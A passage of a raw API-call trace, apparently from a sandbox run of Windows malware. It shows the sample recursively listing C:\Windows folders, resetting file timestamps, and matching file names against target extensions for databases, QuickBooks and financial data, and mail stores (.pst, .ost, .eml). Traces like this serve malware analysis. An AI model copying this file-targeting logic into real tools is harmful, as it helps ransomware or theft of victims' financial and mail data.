hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.519] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cb718a3, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2cb718a3, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6a7d1fa3, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="up_r.cur", cAlternateFileName="")) returned 1 [0125.519] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.519] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cb718a3, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2cb718a3, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6a7d1fa3, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="up_rl.cur", cAlternateFileName="")) returned 1 [0125.519] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.520] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cb97a00, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2cb97a00, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6a7f8101, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="up_rm.cur", cAlternateFileName="")) returned 1 [0125.520] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.521] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cb97a00, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2cb97a00, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6a81e25f, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="wait_i.cur", cAlternateFileName="")) returned 1 [0125.521] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.521] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cb97a00, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2cb97a00, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6a81e25f, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="wait_il.cur", cAlternateFileName="")) returned 1 [0125.521] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.521] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cbbdb5d, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2cbbdb5d, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6a8443bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="wait_im.cur", cAlternateFileName="")) returned 1 [0125.521] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.521] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cbbdb5d, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2cbbdb5d, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6a8443bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="wait_l.cur", cAlternateFileName="")) returned 1 [0125.521] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.522] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cbe3cba, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2cbe3cba, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6a86a51b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="wait_m.cur", cAlternateFileName="")) returned 1 [0125.522] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.522] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cc09e17, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2cc09e17, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6a890679, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="wait_r.cur", cAlternateFileName="")) returned 1 [0125.522] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.522] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cc09e17, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2cc09e17, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6a890679, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="wait_rl.cur", cAlternateFileName="")) returned 1 [0125.522] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.522] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cc09e17, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2cc09e17, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6a8b67d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x63e, dwReserved0=0x0, dwReserved1=0x0, cFileName="wait_rm.cur", cAlternateFileName="")) returned 1 [0125.522] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.523] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cc09e17, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2cc09e17, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6a8b67d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x63e, dwReserved0=0x0, dwReserved1=0x0, cFileName="wait_rm.cur", cAlternateFileName="")) returned 0 [0125.523] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0125.523] FindNextFileA (in: hFindFile=0x502558, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf8a36d94, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0x181cd0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x181cd0c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="debug", cAlternateFileName="")) returned 1 [0125.523] lstrcmpA (lpString1=".", lpString2="debug") returned -1 [0125.523] lstrcmpA (lpString1="..", lpString2="debug") returned -1 [0125.523] FindFirstFileA (in: lpFileName="C:\\Windows\\debug\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf8a36d94, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0x181cd0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x181cd0c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0125.524] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.524] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf8a36d94, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0x181cd0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x181cd0c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.524] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.524] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.524] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e4f7500, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x5e4f7500, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xafca9f60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PASSWD.LOG", cAlternateFileName="")) returned 1 [0125.524] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.526] SetFileTime (hFile=0x84, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0125.526] CloseHandle (hObject=0x84) returned 1 [0125.527] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x181cd0c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x181cd0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27a8cbc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x105, dwReserved0=0x0, dwReserved1=0x0, cFileName="sammui.log", cAlternateFileName="")) returned 1 [0125.527] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.527] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x790180a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x790180a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x790180a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WIA", cAlternateFileName="")) returned 1 [0125.527] lstrcmpA (lpString1=".", lpString2="WIA") returned -1 [0125.527] lstrcmpA (lpString1="..", lpString2="WIA") returned -1 [0125.527] FindFirstFileA (in: lpFileName="C:\\Windows\\debug\\WIA\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x790180a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x790180a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x790180a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x50153a, cFileName=".", cAlternateFileName="")) returned 0x502618 [0125.528] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.528] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x790180a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x790180a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x790180a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0125.528] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.528] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.528] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x790180a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x790180a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x54febf50, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x518, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="wiatrace.log", cAlternateFileName="")) returned 1 [0125.528] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0125.531] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0125.531] CloseHandle (hObject=0x88) returned 1 [0125.531] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x790180a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x790180a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x54febf50, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x518, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="wiatrace.log", cAlternateFileName="")) returned 0 [0125.531] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0125.531] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x790180a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x790180a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x790180a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WIA", cAlternateFileName="")) returned 0 [0125.532] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0125.532] FindNextFileA (in: hFindFile=0x502558, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x800b91b1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x800b91b1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="diagnostics", cAlternateFileName="DIAGNO~1")) returned 1 [0125.532] lstrcmpA (lpString1=".", lpString2="diagnostics") returned -1 [0125.532] lstrcmpA (lpString1="..", lpString2="diagnostics") returned -1 [0125.532] FindFirstFileA (in: lpFileName="C:\\Windows\\diagnostics\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x800b91b1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x800b91b1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0125.533] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.533] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x800b91b1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x800b91b1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.533] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.533] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.533] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80c9ffc7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80c9ffc7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="index", cAlternateFileName="")) returned 1 [0125.533] lstrcmpA (lpString1=".", lpString2="index") returned -1 [0125.533] lstrcmpA (lpString1="..", lpString2="index") returned -1 [0125.533] FindFirstFileA (in: lpFileName="C:\\Windows\\diagnostics\\index\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80c9ffc7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80c9ffc7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0125.549] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.549] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80c9ffc7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80c9ffc7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.549] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.549] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.549] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe270a7f, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe270a7f, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xcced5375, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7a7, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="AeroDiagnostic.xml", cAlternateFileName="")) returned 1 [0125.549] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0125.550] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.550] CloseHandle (hObject=0xffffffff) returned 0 [0125.550] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb11991, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xeb11991, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xcd7762c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="AudioPlaybackDiagnostic.xml", cAlternateFileName="")) returned 1 [0125.550] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0125.551] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.552] CloseHandle (hObject=0xffffffff) returned 0 [0125.552] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\index\\", lpString2="AudioPlaybackDiagnostic.xml" | out: lpString1="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml") returned="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml" [0125.552] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.ems") returned 0 [0125.552] lstrlenA (lpString="*.ems") returned 5 [0125.553] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.db") returned 0 [0125.553] lstrlenA (lpString="*.db") returned 4 [0125.553] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.dbf") returned 0 [0125.553] lstrlenA (lpString="*.dbf") returned 5 [0125.553] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.myox") returned 0 [0125.553] lstrlenA (lpString="*.myox") returned 6 [0125.553] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.myo") returned 0 [0125.553] lstrlenA (lpString="*.myo") returned 5 [0125.553] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.qbw") returned 0 [0125.553] lstrlenA (lpString="*.qbw") returned 5 [0125.553] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.qbb") returned 0 [0125.553] lstrlenA (lpString="*.qbb") returned 5 [0125.553] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.qbm") returned 0 [0125.553] lstrlenA (lpString="*.qbm") returned 5 [0125.553] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.qbo") returned 0 [0125.553] lstrlenA (lpString="*.qbo") returned 5 [0125.553] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.qbx") returned 0 [0125.553] lstrlenA (lpString="*.qbx") returned 5 [0125.553] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.qba") returned 0 [0125.553] lstrlenA (lpString="*.qba") returned 5 [0125.553] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.qby") returned 0 [0125.553] lstrlenA (lpString="*.qby") returned 5 [0125.553] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.qbj") returned 0 [0125.553] lstrlenA (lpString="*.qbj") returned 5 [0125.553] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.ofx") returned 0 [0125.553] lstrlenA (lpString="*.ofx") returned 5 [0125.554] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.qif") returned 0 [0125.554] lstrlenA (lpString="*.qif") returned 5 [0125.554] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.mye") returned 0 [0125.554] lstrlenA (lpString="*.mye") returned 5 [0125.554] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.mbox") returned 0 [0125.554] lstrlenA (lpString="*.mbox") returned 6 [0125.554] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.eml") returned 0 [0125.554] lstrlenA (lpString="*.eml") returned 5 [0125.554] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.pst") returned 0 [0125.554] lstrlenA (lpString="*.pst") returned 5 [0125.554] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.ost") returned 0 [0125.554] lstrlenA (lpString="*.ost") returned 5 [0125.554] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.idx") returned 0 [0125.554] lstrlenA (lpString="*.idx") returned 5 [0125.554] PathMatchSpecA 